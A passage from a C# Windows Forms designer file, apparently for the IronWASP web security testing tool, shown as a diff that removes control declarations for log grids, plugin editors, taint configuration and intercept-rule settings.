System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ScanLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.TestLogTab = new System.Windows.Forms.TabPage(); - this.TestLogGrid = new System.Windows.Forms.DataGridView(); - this.MTLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MTLogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MTLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MTLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MTLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MTLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.MTLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MTLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MTLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MTLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MTLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ShellLogTab = new System.Windows.Forms.TabPage(); - this.ShellLogGrid = new System.Windows.Forms.DataGridView(); - this.ScriptingLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScriptingLogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScriptingLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScriptingLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScriptingLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScriptingLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ScriptingLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScriptingLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScriptingLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScriptingLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScriptingLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ProbeLogTab = new System.Windows.Forms.TabPage(); - this.ProbeLogGrid = new System.Windows.Forms.DataGridView(); - this.ProbeLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProbeLogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProbeLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProbeLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProbeLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProbeLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ProbeLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProbeLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProbeLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProbeLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProbeLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.OtherLogTab = new System.Windows.Forms.TabPage(); - this.OtherLogsTabBaseSplit = new System.Windows.Forms.SplitContainer(); - this.OtherLogSourceGrid = new System.Windows.Forms.DataGridView(); - this.LogSource = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.OtherLogGrid = new System.Windows.Forms.DataGridView(); - this.LogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.LogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.SiteMapLogTab = new System.Windows.Forms.TabPage(); - this.SiteMapLogGrid = new System.Windows.Forms.DataGridView(); - this.SiteMapLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForSource = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForHost = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.SiteMapLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SiteMapLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.mt_results = new System.Windows.Forms.TabPage(); - this.ResultsTabMainSplit = new System.Windows.Forms.SplitContainer(); - this.ResultsDisplayRTB = new System.Windows.Forms.RichTextBox(); - this.ResultsTriggersMainSplit = new System.Windows.Forms.SplitContainer(); - this.ResultsTriggersGrid = new System.Windows.Forms.DataGridView(); - this.ResultsTriggerGridNumberColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ResultsDisplayTabs = new System.Windows.Forms.TabControl(); - this.ResultsTriggerHighlightTab = new System.Windows.Forms.TabPage(); - this.TriggerHighlightRTB = new System.Windows.Forms.RichTextBox(); - this.ResultsRequestTab = new System.Windows.Forms.TabPage(); - this.ResultsRequestView = new IronWASP.RequestView(); - this.ResultsResponseTab = new System.Windows.Forms.TabPage(); - this.ResultsResponseView = new IronWASP.ResponseView(); - this.ResultsTriggerToolsTab = new System.Windows.Forms.TabPage(); - this.TrigggerAnalysisToolsSplit = new System.Windows.Forms.SplitContainer(); - this.ResultsScanTracePanel = new System.Windows.Forms.Panel(); - this.ResultsShowScanTraceBtn = new System.Windows.Forms.Button(); - this.ResultsTriggerOptionsPanel = new System.Windows.Forms.Panel(); - this.label5 = new System.Windows.Forms.Label(); - this.ResultsShowTriggersMenuLL = new System.Windows.Forms.LinkLabel(); - this.ResultsTriggersComparePanel = new System.Windows.Forms.Panel(); - this.DoDiffBtn = new System.Windows.Forms.Button(); - this.SelectForDiffTriggersGrid = new System.Windows.Forms.DataGridView(); - this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.label32 = new System.Windows.Forms.Label(); - this.ResultsHelpTab = new System.Windows.Forms.TabPage(); - this.textBox7 = new System.Windows.Forms.TextBox(); - this.mt_hawas = new System.Windows.Forms.TabPage(); - this.mt_dev = new System.Windows.Forms.TabPage(); - this.DevMainTabs = new System.Windows.Forms.TabControl(); - this.DevModulesAndPluginsTab = new System.Windows.Forms.TabPage(); - this.PluginsMainSplit = new System.Windows.Forms.SplitContainer(); - this.PluginAndModuleTree = new System.Windows.Forms.TreeView(); - this.PluginTreeMenu = new System.Windows.Forms.ContextMenuStrip(this.components); - this.SelectedPluginDeactivateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.SelectedPluginReloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.SelectedModuleReloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.allPluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.AllPluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.AllPluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.passivePluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.PassivePluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.PassivePluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.activePluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ActivePluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ActivePluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.formatPluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.FormatPluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.FormatPluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.sessionPluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.SessionPluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.SessionPluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.PluginEditorSplit = new System.Windows.Forms.SplitContainer(); - this.PluginsCentreSplit = new System.Windows.Forms.SplitContainer(); - this.PluginDetailsRTB = new System.Windows.Forms.RichTextBox(); - this.PluginEditorInTE = new ICSharpCode.TextEditor.TextEditorControl(); - this.PluginEditorAPISplit = new System.Windows.Forms.SplitContainer(); - this.PluginEditorAPITreeTabs = new System.Windows.Forms.TabControl(); - this.PluginEditorPythonAPITreeTab = new System.Windows.Forms.TabPage(); - this.PluginEditorPythonAPITree = new System.Windows.Forms.TreeView(); - this.PluginEditorRubyAPITreeTab = new System.Windows.Forms.TabPage(); - this.PluginEditorRubyAPITree = new System.Windows.Forms.TreeView(); - this.PluginEditorAPIDetailsRTB = new System.Windows.Forms.RichTextBox(); - this.DevTraceTab = new System.Windows.Forms.TabPage(); - this.TraceMainTabs = new System.Windows.Forms.TabControl(); - this.SessionPluginTraceTab = new System.Windows.Forms.TabPage(); - this.SessionPluginTraceBaseSplit = new System.Windows.Forms.SplitContainer(); - this.SessionPluginTraceGrid = new System.Windows.Forms.DataGridView(); - this.SessionPluginTraceIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SessionPluginTraceLogIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SessionPluginTraceLogSourceClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SessionPluginTracePluginNameClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SessionPluginTraceActionClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SessionPluginTraceMessageClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SessionPluginTraceBottomTabs = new System.Windows.Forms.TabControl(); - this.SessionPluginTraceMessageTab = new System.Windows.Forms.TabPage(); - this.SessionPluginTraceMsgBaseSplit = new System.Windows.Forms.SplitContainer(); - this.SessionPluginTraceLoadLogBtn = new System.Windows.Forms.Button(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.SessionPluginTraceMsgRTB = new System.Windows.Forms.RichTextBox(); - this.SessionPluginTraceLogViewTab = new System.Windows.Forms.TabPage(); - this.SessionPluginTraceLoadLogProgressBar = new System.Windows.Forms.ProgressBar(); - this.SessionPluginTraceSessionTabs = new System.Windows.Forms.TabControl(); - this.tabPage12 = new System.Windows.Forms.TabPage(); - this.SessionPluginTraceRequestView = new IronWASP.RequestView(); - this.tabPage3 = new System.Windows.Forms.TabPage(); - this.SessionPluginTraceResponseView = new IronWASP.ResponseView(); - this.DebugTraceTab = new System.Windows.Forms.TabPage(); - this.TraceBaseSplit = new System.Windows.Forms.SplitContainer(); - this.TraceGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn26 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn28 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn29 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn30 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn31 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TraceMsgRTB = new System.Windows.Forms.RichTextBox(); - this.DevHelpTab = new System.Windows.Forms.TabPage(); - this.DevHelpTB = new System.Windows.Forms.TextBox(); - this.JSTainTraceEditMenu = new System.Windows.Forms.ContextMenuStrip(this.components); - this.AddSourceTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.AddSinkTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.RemoveSourceTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.RemoveSinkTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.CopyLineTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.MTRequestFormatPluginsMenu = new System.Windows.Forms.ContextMenuStrip(this.components); - this.MTRequestDeSerObjectToXmlMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.MTRequestSerXmlToObjectMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ProxyResponseFormatPluginsMenu = new System.Windows.Forms.ContextMenuStrip(this.components); - this.ProxyResponseDeSerObjectToXmlMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ProxyResponseSerXmlToObjectMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ProxyRequestFormatPluginsMenu = new System.Windows.Forms.ContextMenuStrip(this.components); - this.ProxyRequestDeSerObjectToXmlMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ProxyRequestSerXmlToObjectMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ConfigPanel = new System.Windows.Forms.Panel(); - this.ConfigPanelTabs = new System.Windows.Forms.TabControl(); - this.ConfigInterceptRulesTab = new System.Windows.Forms.TabPage(); - this.ConfigRuleRequestOnResponseRulesCB = new System.Windows.Forms.CheckBox(); - this.label25 = new System.Windows.Forms.Label(); - this.label24 = new System.Windows.Forms.Label(); - this.ConfigRuleKeywordInResponseGB = new System.Windows.Forms.GroupBox(); - this.ConfigRuleKeywordInResponseCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleKeywordInResponsePlusTB = new System.Windows.Forms.TextBox(); - this.ConfigRuleKeywordInResponseMinusTB = new System.Windows.Forms.TextBox(); - this.ConfigRuleKeywordInResponsePlusRB = new System.Windows.Forms.RadioButton(); - this.ConfigRuleKeywordInResponseMinusRB = new System.Windows.Forms.RadioButton(); - this.ConfigRuleContentJSONCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleKeywordInRequestGB = new System.Windows.Forms.GroupBox(); - this.ConfigRuleKeywordInRequestCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleKeywordInRequestPlusTB = new System.Windows.Forms.TextBox(); - this.ConfigRuleKeywordInRequestMinusTB = new System.Windows.Forms.TextBox(); - this.ConfigRuleKeywordInRequestPlusRB = new System.Windows.Forms.RadioButton(); - this.ConfigRuleKeywordInRequestMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox2 = new System.Windows.Forms.GroupBox(); - this.ConfigRuleHostNamesCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleHostNamesPlusTB = new System.Windows.Forms.TextBox(); - this.ConfigRuleHostNamesMinusTB = new System.Windows.Forms.TextBox(); - this.ConfigRuleHostNamesPlusRB = new System.Windows.Forms.RadioButton(); - this.ConfigRuleHostNamesMinusRB = new System.Windows.Forms.RadioButton(); - this.ConfigRuleApplyChangesLL = new System.Windows.Forms.LinkLabel(); - this.groupBox1 = new System.Windows.Forms.GroupBox(); - this.ConfigRuleFileExtensionsCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleFileExtensionsPlusTB = new System.Windows.Forms.TextBox(); - this.ConfigRuleFileExtensionsMinusTB = new System.Windows.Forms.TextBox(); - this.ConfigRuleFileExtensionsPlusRB = new System.Windows.Forms.RadioButton(); - this.ConfigRuleFileExtensionsMinusRB = new System.Windows.Forms.RadioButton(); - this.ConfigRuleCancelChangesLL = new System.Windows.Forms.LinkLabel(); - this.label10 = new System.Windows.Forms.Label(); - this.ConfigRuleContentCSSCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleCode5xxCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleContentJSCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleCode500CB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleContentImgCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleCode4xxCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleContentOtherBinaryCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleCode403CB = new System.Windows.Forms.CheckBox(); - this.label9 = new System.Windows.Forms.Label(); - this.ConfigRuleCode3xxCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleContentHTMLCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleCode301_2CB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleGETMethodCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleCode2xxCB = new System.Windows.Forms.CheckBox(); - this.ConfigRulePOSTMethodCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleCode200CB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleOtherMethodsCB = new System.Windows.Forms.CheckBox(); - this.label13 = new System.Windows.Forms.Label(); - this.ConfigRuleContentOtherTextCB = new System.Windows.Forms.CheckBox(); - this.ConfigRuleContentXMLCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRulesTab = new System.Windows.Forms.TabPage(); - this.label27 = new System.Windows.Forms.Label(); - this.label26 = new System.Windows.Forms.Label(); - this.ConfigDisplayRuleApplyChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigDisplayRuleCancelChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigDisplayRuleContentJSONCB = new System.Windows.Forms.CheckBox(); - this.groupBox3 = new System.Windows.Forms.GroupBox(); - this.ConfigDisplayRuleHostNamesCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleHostNamesPlusTB = new System.Windows.Forms.TextBox(); - this.ConfigDisplayRuleHostNamesMinusTB = new System.Windows.Forms.TextBox(); - this.ConfigDisplayRuleHostNamesPlusRB = new System.Windows.Forms.RadioButton(); - this.ConfigDisplayRuleHostNamesMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox4 = new System.Windows.Forms.GroupBox(); - this.ConfigDisplayRuleFileExtensionsCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleFileExtensionsPlusTB = new System.Windows.Forms.TextBox(); - this.ConfigDisplayRuleFileExtensionsMinusTB = new System.Windows.Forms.TextBox(); - this.ConfigDisplayRuleFileExtensionsPlusRB = new System.Windows.Forms.RadioButton(); - this.ConfigDisplayRuleFileExtensionsMinusRB = new System.Windows.Forms.RadioButton(); - this.label20 = new System.Windows.Forms.Label(); - this.ConfigDisplayRuleContentCSSCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleCode5xxCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleContentJSCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleCode500CB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleContentImgCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleCode4xxCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleContentOtherBinaryCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleCode403CB = new System.Windows.Forms.CheckBox(); - this.label21 = new System.Windows.Forms.Label(); - this.ConfigDisplayRuleCode3xxCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleContentHTMLCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleCode301_2CB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleGETMethodCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleCode2xxCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRulePOSTMethodCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleCode200CB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleOtherMethodsCB = new System.Windows.Forms.CheckBox(); - this.label23 = new System.Windows.Forms.Label(); - this.ConfigDisplayRuleContentOtherTextCB = new System.Windows.Forms.CheckBox(); - this.ConfigDisplayRuleContentXMLCB = new System.Windows.Forms.CheckBox(); - this.ConfigScriptingTab = new System.Windows.Forms.TabPage(); - this.ConfigScriptBaseSplit = new System.Windows.Forms.SplitContainer(); - this.label14 = new System.Windows.Forms.Label(); - this.ConfigScriptPathApplyChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigScriptPathCancelChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigScriptPathSplit = new System.Windows.Forms.SplitContainer(); - this.label15 = new System.Windows.Forms.Label(); - this.ConfigScriptPyPathsTB = new System.Windows.Forms.TextBox(); - this.label16 = new System.Windows.Forms.Label(); - this.ConfigScriptRbPathsTB = new System.Windows.Forms.TextBox(); - this.label12 = new System.Windows.Forms.Label(); - this.ConfigScriptCommandApplyChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigScriptCommandCancelChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigScriptCommandSplit = new System.Windows.Forms.SplitContainer(); - this.label17 = new System.Windows.Forms.Label(); - this.ConfigScriptPyCommandsTB = new System.Windows.Forms.TextBox(); - this.label18 = new System.Windows.Forms.Label(); - this.ConfigScriptRbCommandsTB = new System.Windows.Forms.TextBox(); - this.ConfigHTTPAPITab = new System.Windows.Forms.TabPage(); - this.ConfigHTTPAPIBaseSplit = new System.Windows.Forms.SplitContainer(); - this.ConfigRequestTypesTB = new System.Windows.Forms.TextBox(); - this.label19 = new System.Windows.Forms.Label(); - this.ConfigRequestTypesCancelChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigRequestTypesApplyChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigResponseTypesTB = new System.Windows.Forms.TextBox(); - this.label22 = new System.Windows.Forms.Label(); - this.ConfigResponseTypesApplyChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigResponseTypesCancelChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigTaintConfigTab = new System.Windows.Forms.TabPage(); - this.ConfigJSTaintConfigCancelChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigJSTaintConfigApplyChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigDefaultJSTaintConfigGrid = new System.Windows.Forms.DataGridView(); - this.ConfigDefaultSourceObjectsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ConfigDefaultSinkObjectsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ConfigDefaultArgumentAssignedASourceMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ConfigDefaultArgumentAssignedToSinkMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ConfigDefaultSourceReturningMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ConfigDefaultSinkReturningMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ConfigDefaultArgumentReturningMethodsColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ConfigPassiveAnalysisTab = new System.Windows.Forms.TabPage(); - this.ConfigPassiveAnalysisOnProbeTrafficCB = new System.Windows.Forms.CheckBox(); - this.ConfigPassiveAnalysisOnScanTrafficCB = new System.Windows.Forms.CheckBox(); - this.ConfigPassiveAnalysisOnTestTrafficCB = new System.Windows.Forms.CheckBox(); - this.ConfigPassiveAnalysisOnShellTrafficCB = new System.Windows.Forms.CheckBox(); - this.ConfigPassiveAnalysisOnProxyTrafficCB = new System.Windows.Forms.CheckBox(); - this.label34 = new System.Windows.Forms.Label(); - this.ConfigPassiveAnalysisSettingsCancelChangesLL = new System.Windows.Forms.LinkLabel(); - this.ConfigPassiveAnalysisSettingsApplyChangesLL = new System.Windows.Forms.LinkLabel(); - this.TopMenu = new System.Windows.Forms.MenuStrip(); - this.projectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.OpenProjectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.importToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ImportBurpLogToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.generateReportToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.toolsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.EncodeDecodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.DiffTextToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.RenderHTMLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.modulesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.devToolsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.codingAssistantsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.scriptCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.sessionPluginCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.activePluginCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.passivePluginCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.moduleCreationAssistantToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.scriptPluginEditorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.uIDesignerToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.AboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ProjectFileOpenDialog = new System.Windows.Forms.OpenFileDialog(); - this.BurpLogOpenDialog = new System.Windows.Forms.OpenFileDialog(); - this.ConfigViewHideLL = new System.Windows.Forms.LinkLabel(); - this.panel1 = new System.Windows.Forms.Panel(); - this.PromptBlinkTimer = new System.Windows.Forms.Timer(this.components); - this.label8 = new System.Windows.Forms.Label(); - this.split_main.Panel1.SuspendLayout(); - this.split_main.Panel2.SuspendLayout(); - this.split_main.SuspendLayout(); - this.IronTreeMenuStrip.SuspendLayout(); - this.main_tab.SuspendLayout(); - this.mt_console.SuspendLayout(); - this.mt_auto.SuspendLayout(); - this.ASMainTabs.SuspendLayout(); - this.ASConfigureTab.SuspendLayout(); - this.ScanJobsBaseSplit.Panel1.SuspendLayout(); - this.ScanJobsBaseSplit.Panel2.SuspendLayout(); - this.ScanJobsBaseSplit.SuspendLayout(); - this.ScanDisplayPanel.SuspendLayout(); - this.ASBaseTabs.SuspendLayout(); - this.ASRequestTab.SuspendLayout(); - this.ScanJobsTopSplit.Panel1.SuspendLayout(); - this.ScanJobsTopSplit.Panel2.SuspendLayout(); - this.ScanJobsTopSplit.SuspendLayout(); - this.ASRequestScanFullTabs.SuspendLayout(); - this.tabPage20.SuspendLayout(); - this.tabPage21.SuspendLayout(); - this.ASInjectionPointTab.SuspendLayout(); - this.ASRequestTabs.SuspendLayout(); - this.ASRequestURLTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanURLGrid)).BeginInit(); - this.ASRequestQueryTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanQueryGrid)).BeginInit(); - this.ASRequestBodyTab.SuspendLayout(); - this.ASBodyInjectTypeTabs.SuspendLayout(); - this.ASBodyTypeNormalTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanBodyTypeNormalGrid)).BeginInit(); - this.ASBodyTypeFormatPluginTab.SuspendLayout(); - this.ASRequestBodyTabSplit.Panel1.SuspendLayout(); - this.ASRequestBodyTabSplit.Panel2.SuspendLayout(); - this.ASRequestBodyTabSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ConfigureScanRequestFormatPluginsGrid)).BeginInit(); - this.ASRequestScanBodyTabs.SuspendLayout(); - this.ASRequestScanBodyGridTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ConfigureScanRequestBodyTypeFormatPluginGrid)).BeginInit(); - this.ASRequestScanBodyXMLTab.SuspendLayout(); - this.ASBodyTypeCustomTab.SuspendLayout(); - this.ASRequestCookieTab.SuspendLayout(); - 